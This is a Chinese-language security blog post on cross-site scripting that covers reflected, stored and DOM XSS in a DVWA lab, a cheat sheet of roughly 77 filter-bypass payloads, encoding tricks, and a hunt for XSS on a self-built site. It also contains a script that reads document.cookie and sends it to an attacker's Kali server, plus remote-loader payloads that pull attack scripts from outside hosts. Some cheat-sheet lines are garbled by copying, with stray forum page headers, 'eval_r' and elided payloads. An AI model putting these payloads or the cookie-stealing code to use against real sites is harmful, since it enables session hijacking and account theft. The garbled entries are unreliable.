xss


xss漏洞

简单认识

XSS就是通过 HTML注入篡改网页,插入恶意脚本,从而在用户浏览网页时控制用户浏览器

如果是MVC框架,主要发生在view层中

描述

XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。

XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生 xss 攻击。

原理

通过特殊字符让浏览器误以为插入了HTML标签,从而引入恶意脚本在用户浏览器执行。

危害

  1. 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 非法转账
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害者机器向其它网站发起攻击

防御

  1. Http Only

    解决XSS后的cookie劫持

  2. 输入检查

    过滤特殊字符

  3. 输出检查

    在变量输出到HTML,可以进行编码或者转义

类型

反射型XSS

反射型 XSS,非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码。

反射型 xss 攻击的方法,攻击者通过发送邮件或诱导等方法,将包含有 xss 恶意链接发送给目标用户,当目标用户访问该链接时,服务器将接收该用户的请求并进行处理,然后服务器把带有 xss 恶意脚本发送给目标用户的浏览器,浏览器解析这段带有 xss 代码的恶意脚本后,就会触发 xss 攻击。

分析源码

image-20210927142651609

我们直接构造标签即可

构造时发现对长度有限制,我们看看是否是前端做的限制

image-20210927142816864

时前端做的,我们把maxlength删掉

image-20210927142900717

存储型XSS

存储型 XSS,持久化,代码是存储在服务器中的数据库里

如在个人信息或发表文章等地方,可以插入代码,如果插入的数据没有过滤或过滤不严,那么这些恶意代码没有经过过滤将储存到数据库中,用户访问该页面的时候,没有进行编码过滤输出到浏览器上,就会触发代码执行,造成 xss 攻击。

源码分析

image-20210927143442659

浏览器访问改页面时,插入数据库中的语句未作处理直接输出到页面

image-20210927143627694

image-20210927143816959

浏览器访问页面发生弹窗

image-20210927143831750

dom型XSS

客户端的JavaScript脚本可以访问浏览器的DOM树并修改页面内容,不依赖服务器数据,直接从浏览器获取数据并执行

DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。

DOM 型 XSS 其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。

在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的 Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过 JS 脚本对文档对象进行编辑从而修改页面的元素。

也就是说,客户端的脚本程序可以通过DOM 来动态修改页面内容,从客户端获取 DOM 中的数据并在本地执行。基于这个特性,就可以利用 JS 脚本来实现 XSS 漏洞的利用。

以下是一些经常出现 dom xss 的关键语句:

  • document.referer 属性
  • window.name 属性
  • location 属性
  • innerHTML 属性
  • documen.write 属性

源码分析:

DOM 型 xss 程序中,只有 html 代码,dom 通过操作 HTML 或者 css 实现 HTML属性、方法、事件,因此程序中没有与服务器进行交互。

image-20210927144412097

image-20210927144643598

我们闭合引号构造即可,这里看出时单引号闭合

我们通过事件

image-20210927145755838

image-20210927150650000

image-20210927150700194

点击即可弹窗

xss测试语句

在网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源代码是否过滤标签,如果没过滤,很大可能存在 xss 漏洞。

常用的测试语句

<h5>1</h5>

<span>1</span>

<script>console.log(1);</script>

闭合

“><span>x</span><“

‘>”><span>x</span><‘

单行注释

“><span>x</span>//

xss攻击语句

输入检测确定标签没有过滤后,为了显示存在漏洞,需要插入 xss 攻击代码。

常用的语句

<script>alert(1)</script>

<svg onload=alert(1)>

<a href=javascript:alert(1)>

<a href=’javascript:alert(1)’>aa</a>

(1)普通的 XSS JavaScript 注入

<SCRIPT SRC=http://3w.org/XSS/xss.js>\

(2)IMG 标签 XSS 使用 JavaScript 命令

<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG 标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG 标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML 编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷 IMG 标签

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode 标签(计算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8 的 Unicode 编码(计算器)

<IMG SRC=jav..省略..S’)>

(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)<IMG SRC=jav..省略..S’)>

(10)十六进制编码也是没有分号(计算器)

<IMG SRC=java..省略..XSS’)>

(11)嵌入式标签,将 Javascript 分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将 Javascript 分开

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车

<IMG SRC=”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子

<IMG SRC=”javascript:alert(‘XSS’)”>

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

(17)空字符 12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e ‘print “<IMGSRC=java\0script:alert("XSS")>”;’ > out

(18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print “<SCR\0IPT>alert("XSS")</SCR\0IPT>”;’ > out

(19)Spaces 和 meta 前的 IMG 标签

<IMG SRC=” javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js">\

(21)Non-alpha-non-digit XSS to 2

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=”http://3w.org/XSS/xss.js">\

(23)双开括号<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPT SRChttp://3w.org/XSS/xss.js?\

(25)无结束脚本标记 2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的 HTML/JavaScript XSS

<IMG SRC=”javascript:alert(‘XSS’)”

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

(29)换码过滤的 JavaScript

";alert(‘XSS’);//

(30)结束 Title 标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image

<INPUT SRC=”javascript:alert(‘XSS’);”>

(32)BODY Image

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY 标签

<BODY(‘XSS’)>

(34)IMG Dynsrc

<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(35)IMG Lowsrc

<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(36)BGSOUND

<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(37)STYLE sheet

<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表

<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css">

(39)List-style-image(列表式)

<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE>

    <LI>XSS

(40)IMG VBscript

<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META 链接 url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe

<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

(43)Frame

<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz!

Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

(44)Table

<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD

<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image 后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE 属性分拆表达

<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名 STYLE(组成:开角号和一个字母开头)

<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

(52)IMG STYLE 方式

exppression(alert(“XSS”))’>

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE

<BASE HREF=”javascript:alert(‘XSS’);//“>

(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS

<EMBED SRC=”http://3w.org/XSS/xss.swf" ></EMBED>

(56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码

a=”get”;b=”URL("“;c=”javascript:”;d=”alert(‘XSS’);")”;eval_r(a+b+c+d);

(57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上

<HTML xmlns:xss><?import namespace=”xss”

implementation=”http://3w.org/XSS/xss.htc">xss:xssXSS</xss:xss></HTML>

(58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用

<SCRIPT SRC=””></SCRIPT>

(59)IMG 嵌入式命令,可执行任意命令

<IMG SRC=”http://www.a.com/a.php?a=b">

(60)IMG 嵌入式命令(a.jpg 在同服务器)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤

<SCRIPT a=”>” SRC=”http://3w.org/xss.js">\

(62)<SCRIPT =”>” SRC=”http://3w.org/xss.js">\

(63)<SCRIPT a=”>” “ SRC=”http://3w.org/xss.js">\

(64)<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js">\

(65)<SCRIPT a=反引号>反引号SRC=”http://3w.org/xss.js">\

(66)12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=”>’>”SRC=”http://3w.org/xss.js">\

(67)<SCRIPT>document.write(“<SCRI”);</SCRIPT>PTSRC=”http://3w.org/xss.js">\

(68)URL 绕行

<A HREF=”http://127.0.0.1/">XSS\

(69)URL 编码

<A HREF=”http://3w.org">XSS\

(70)IP 十进制

<A HREF=”http://3232235521″>XSS\

(71)IP 十六进制

<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS\

(72)IP 八进制

<A HREF=”http://0300.0250.0000.0001″>XSS\

(73)混合编码

<A HREF=”http://6 6.000146.0×7.147/“”>XSS</A>

(74)节省[http:]

<A HREF=”//www.google.com/">XSS\

(75)节省[www]

<A HREF=”http://google.com/">XSS\

(76)绝对点绝对 DNS

<A HREF=”http://www.google.com./">XSS\

(77)javascript 链接

<A HREF=”javascript:document.location=’http://www.google.com/'">XSS\

xss常见利用

当发现存在 xss 漏洞时,如果只是弹出信息窗口,这样只能证明存在一个 xss 漏 洞,想再进一步深入的话,就必须学会加载 xss 攻击 payload。

同时加载 payload也要考虑到语句的长度,语句是越短越好,因为有的插入语句的长度会被限制。常见的加载攻击语句有<script src=”http://192.168.0.121/xss.js">\ 单引号可以去掉 <script src=http://192.168.0.121/xss.js>\可以变成<scriptsrc=//192.168.0.121/xss.js></script> 这种格式如果网站是 http 会自动加载 http,如果网站是 https 会自动变成 https。

xss 漏洞能够通过构造恶意的 xss 语句实现很多功能,其中最常用的时,构造 xss恶意代码获取对方浏览器的 cookie。

利用:

我们打开kali,将一下代码保存为js文件

var img=document.createElement("img");
img.src="http://这里写kali的ip?"+escape(document.cookie);
document.body.appendChild(img);

通过sudo python -m SimpleHTTPServer 80 命令打开小型web服务

image-20210927152848543

image-20210927152929135

在dvwa后台插入xss代码

image-20210927153106702

这里前端也做了长度限制,我们还是一样,把maxlength删掉即可

image-20210927153357563

可以看到xss.js被加载了,拿到了cookie,他会发送到我们kali开启的小型服务器上

加载远程攻击的 paylod

常见的标准 payload

注意 网站采用的协议。

<script src=”http://192.168.0.121/xss.js">\

<script src=”https://192.168.0.121/xss.js">\

自动选择协议

<script src=//192.168.0.121/xss.js></script>

图片创建加载连接

<img src=’’onerror=document.body.appendChild(document.createElement(‘script’)).src=’//192.168.0.110/xss.js’>

字符并接

这种一般是输入的字符有限制的时候使用

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://www.’</script>

<script>z=z+’xsstools’</script>

<script>z=z+’.com/a’</script>

<script>z=z+’mER></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval(z)</script>

有的情况要用/**/注释不需要的代码。

jquery 加载

<script>$.getScript(“//www.xsstools.com/amER");\

搭建 xss 漏洞利用平台

xss 漏洞利用平台,集合了 xss 攻击的多种方法,很方便快捷的利用 xss 漏洞,生成攻击代码。

利用phpstuday搭建

image-20210927153907425

image-20210927154122923

image-20210927154155556

image-20210927154402440

我们将利用代码写入

image-20210927154427241

可以看到cookie被发送过来

我们利用cookie就可以登录,只需要在登陆时替换掉cookie即可

xss编码绕过

gpc过滤字符

如果 gpc 开启的时候,特殊字符会被加上斜杠即,’变成\‘, xss 攻击代码不要带用单引号或双引号。

绕过 gpc,在 php 高 版本 gpc 默认是没有的,但是开发程序员会使用addcslashes()对特殊字符进行转义。

<script src=’http://www.xss123.com/JGdbsl?1623638390'>\这个是执行不了的

<script src=http://www.xss123.com/JGdbsl?1623638390>\ 没有单引号可执行。

过滤alert

当页面过滤 alert 这个函数时,因为这个函数会弹窗,不仅很多程序会对他进行过滤,而且很多 waf 都会对其进行拦截。所以不存在 alert 即可

<script>prompt(/xss/);</script>

<script>confirm(1);</script>

<script src=http://www.xss123.com/eciAKj?1623635663>\

过滤标签

在程序里如果使用 html 实体过滤,在 php 会使用 htmlspecialchars()对输入的字符进行实体化,实体化之后的字符不会在 html 执行。

把预定义的字符 “<” (小于) 和 “>” (大于)转换为 HTML 实体,构造 xss 恶意代码大多数都必须使用<或 者>,这两个字符被实体化后在 html 里就不能执行了。

image-20210927155054778

但是有在 input 这些标签里是不用考虑标签实体化,因为用不上<>这两个标签。

<input type=”text” name=”username” value=”” onclick=”javascript:alert(‘xss’);”/>

我们使用事件也可以造成xss

ascii编码

<script>alert(String.fromCharCode(88,83,83))</script>

url编码

<a href=”javascript:%61%6c%65%72%74%28%32%29”>123</a>

js编码

https://www.jb51.net/tools/zhuanhuan.htm

image-20210927155302828

八进制编码

<script>eval(“\141\154\145\162\164\50\61\51”);</script>

十六进制编码

<script>eval(“\x61\x6c\x65\x72\x74\x28\x31\x29”)</script>

jsunicode编码

<script>\u0061\u006c\u0065\u0072\u0074(‘xss’);</script>

HTML编码

在=后可以解析 html 编码

十进制

<img src="x"onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;" />

十六进制

<img src="x"onerror="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"/>

base64编码

使用伪协议 base64 解码执行 xss

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

xss实战

我们搭建一个站,在上面挖掘xss

image-20210927155802805

反射性XSS挖掘

1.寻找用户能够输入,在客户端可控的输入点。

2.输入恶意参数后,能够原型输出,输入没有过滤恶意代码。

我们寻找能够控制的输入点,我们首先在url上下手,构造一个参数

image-20211020144001227

我们尝试闭合a标签后构造语句

"><script>alert(1)</script>

输入到url后无变化,猜测被过滤了

image-20211020144150565

查看源码后发现果然被过滤了

image-20211020144231451

这里我们是吧语句插入到了参数里,经过尝试发现当参数语句一起出现时会被过滤,我们直接构造语句不使用参数发现不被过滤

image-20211020144447711

image-20211020144521856

这是第一个反射xss

接下来我们继续寻找

image-20211020145017223

点击这里后,我们又发现了一个可控参数

image-20211020145103699

我们在源码中查看,发现了他的位置

image-20211020145200315

想要利用我们首先得闭合,但是这里发现单引号双引号都被转义了,无法闭合

image-20211020145521690

这里也不能删除参数,不太能利用

我们继续寻找

image-20211020150652592

这里有个登录,我们抓包看看

image-20211020150948574

image-20211020151213053

image-20211020151227215

成功弹窗了


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录